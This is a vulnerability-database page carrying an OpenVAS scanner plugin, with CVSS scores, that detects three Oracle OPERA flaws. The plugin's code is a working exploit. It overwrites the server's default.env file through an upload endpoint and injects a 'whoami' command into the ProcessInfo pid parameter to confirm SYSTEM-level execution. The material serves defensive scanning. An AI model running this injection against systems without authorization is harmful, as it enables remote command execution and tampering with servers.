Lucene search

K
openvasCopyright (C) 2016 Greenbone AGOPENVAS:1361412562310106483
HistoryDec 20, 2016 - 12:00 a.m.

Oracle OPERA Multiple Vulnerabilities

2016-12-2000:00:00
Copyright (C) 2016 Greenbone AG
plugins.openvas.org
11

6.5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

7.9 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

HIGH

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

LOW

CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:L

7.7 High

AI Score

Confidence

High

0.005 Low

EPSS

Percentile

76.8%

Oracle OPERA is prone to multiple vulnerabilities.

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:oracle:hospitality_opera_5_property_services";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.106483");
  script_version("2023-11-03T05:05:46+0000");
  script_tag(name:"last_modification", value:"2023-11-03 05:05:46 +0000 (Fri, 03 Nov 2023)");
  script_tag(name:"creation_date", value:"2016-12-20 08:18:50 +0700 (Tue, 20 Dec 2016)");
  script_tag(name:"cvss_base", value:"6.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:L");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2016-11-28 20:27:00 +0000 (Mon, 28 Nov 2016)");

  script_cve_id("CVE-2016-5565", "CVE-2016-5564", "CVE-2016-5563");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Oracle OPERA Multiple Vulnerabilities");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_oracle_opera_detect.nasl");
  script_mandatory_keys("oracle/opera/installed");

  script_tag(name:"summary", value:"Oracle OPERA is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP request and checks the response.");

  script_tag(name:"insight", value:"Oracle OPERA is prone to multiple vulnerabilities:

  - Remote command execution via OS command injection and remote file inclusion (CVE-2016-5563)

  - Exposure of Oracle SQL Database credentials (CVE-2016-5564)

  - Session hijacking via exposed logs (CVE-2016-5565)");

  script_tag(name:"solution", value:"Update to the latest version of Oracle OPERA.");

  script_xref(name:"URL", value:"http://jackson.thuraisamy.me/oracle-opera.html");
  script_xref(name:"URL", value:"http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

# If we don't get the home directory we assume it is on the D:\ drive
home_env = "D:\micros/opera";

url = "/Operajserv/webarchive/ProcessInfo?pid=0";
req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req);

# We need to patch first the default.env file
if ("</STATUS><ERROR>java.lang.Exception" >< res) {
  home = eregmatch(pattern: "File (.*)\/operaias/default.env", string: res);
  if (isnull(home[1]))
    exit(0);

  home_env = home[1];
  length = strlen(home_env);

  env_url = "/Operajserv/webarchive/FileReceiver?filename=" + home_env + "\operaias\default.env&crc=" + length +
            "&append=false&trace=on";
  req = http_post_put_req(port: port, url: env_url, data: home_env,
                      add_headers: make_array("Content-Type", "application/x-www-form-urlencoded"));
  res = http_keepalive_send_recv(port: port, data: req);

  if ("<FILERECEIVER><STATUS>OK</STATUS>" >!< res)
    exit(0);
}

vt_strings = get_vt_strings();
lower_name = vt_strings["lowercase"];

url = "/Operajserv/webarchive/ProcessInfo?pid=0%20%26%20whoami%20>%20" + home_env +
      "\operaias\webtemp\" + lower_name + "_opera_test.txt%202";
req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req);
res_url = "/webtemp/" + lower_name + "_opera_test.txt";
req = http_get(port: port, item: res_url);
res = http_keepalive_send_recv(port: port, data: req);

if ("nt authority\system" >< res) {
  report = http_report_vuln_url(port: port, url: res_url);
  security_message(port: port, data: report);
  exit(0);
}

exit(0);

6.5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

7.9 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

HIGH

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

LOW

CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:L

7.7 High

AI Score

Confidence

High

0.005 Low

EPSS

Percentile

76.8%

Related for OPENVAS:1361412562310106483